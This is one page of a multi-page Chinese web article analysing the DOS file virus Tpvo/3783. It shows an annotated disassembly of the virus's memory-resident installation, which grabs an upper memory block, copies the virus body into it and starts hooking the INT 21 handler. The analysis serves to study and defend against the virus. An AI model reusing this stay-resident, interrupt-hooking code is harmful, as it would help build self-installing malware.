Tpvo/3783 病毒的分析和防治

• F6C8:04BC 33F6　　　　　XOR　　 SI,SI ;在 UMB 中则驻留内存
  F6C8:04BE E8CDFB　　　　CALL　　008E
  F6C8:04C1 B9B004　　　　MOV　　 CX,04B0
  F6C8:04C4 F3　　　　　　REPZ
  F6C8:04C5 2E　　　　　　CS:
  F6C8:04C6 A4　　　　　　MOVSB　
  F6C8:04C7 734B　　　　　JNB　　 0514
  F6C8:04C9 B80058　　　　MOV　　 AX,5800 ;取内存分配策略
  F6C8:04CC E82B08　　　　CALL　　0CFA
  F6C8:04CF 50　　　　　　PUSH　　AX
  F6C8:04D0 B80158　　　　MOV　　 AX,5801 ;设高到低寻找策略
  F6C8:04D3 BB8000　　　　MOV　　 BX,0080
  F6C8:04D6 50　　　　　　PUSH　　AX
  F6C8:04D7 E82008　　　　CALL　　0CFA
  F6C8:04DA B80258　　　　MOV　　 AX,5802 ;得到 UMB 链状态
  F6C8:04DD E81A08　　　　CALL　　0CFA
  F6C8:04E0 32E4　　　　　XOR　　 AH,AH
  F6C8:04E2 50　　　　　　PUSH　　AX
  F6C8:04E3 B80358　　　　MOV　　 AX,5803 ;设新的 UMB 状态
  F6C8:04E6 B301　　　　　MOV　　 BL,01 ;为将 UMB 加入 DOS 内存链
  F6C8:04E8 50　　　　　　PUSH　　AX
  F6C8:04E9 E80E08　　　　CALL　　0CFA
  F6C8:04EC B448　　　　　MOV　　 AH,48 ;分配内存
  F6C8:04EE BB3801　　　　MOV　　 BX,0138
  F6C8:04F1 E80608　　　　CALL　　0CFA
  F6C8:04F4 95　　　　　　XCHG　　AX,BP
  F6C8:04F5 58　　　　　　POP　　 AX
  F6C8:04F6 5B　　　　　　POP　　 BX
  F6C8:04F7 E80008　　　　CALL　　0CFA ;恢复分配内存策略
  F6C8:04FA 58　　　　　　POP　　 AX ;及恢复 UMB 状态
  F6C8:04FB 5B　　　　　　POP　　 BX
  F6C8:04FC E8FB07　　　　CALL　　0CFA
  F6C8:04FF 33FF　　　　　XOR　　 DI,DI
  F6C8:0501 8EC5　　　　　MOV　　 ES,BP
  F6C8:0503 4D　　　　　　DEC　　 BP
  F6C8:0504 8EDD　　　　　MOV　　 DS,BP ;将内存块改为 DOS 使用
  F6C8:0506 C745010800　　MOV　　 WORD PTR [DI+01],0008
  F6C8:050B 33F6　　　　　XOR　　 SI,SI
  F6C8:050D 0E　　　　　　PUSH　　CS
  F6C8:050E 1F　　　　　　POP　　 DS
  F6C8:050F B97713　　　　MOV　　 CX,1377
  F6C8:0512 F3　　　　　　REPZ
  F6C8:0513 A4　　　　　　MOVSB　 ;驻留内存
  F6C8:0514 0E　　　　　　PUSH　　CS
  F6C8:0515 1F　　　　　　POP　　 DS
  F6C8:0516 8B3E4502　　　MOV　　 DI,[0245] ;将 INT 21 地址
  F6C8:051A 8B365D11　　　MOV　　 SI,[115D] ;改到新的地址
  F6C8:051E C51E5711　　　LDS　　 BX,[1157]
  F6C8:0522 8C47FE　　　　MOV　　 [BX-02],ES
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐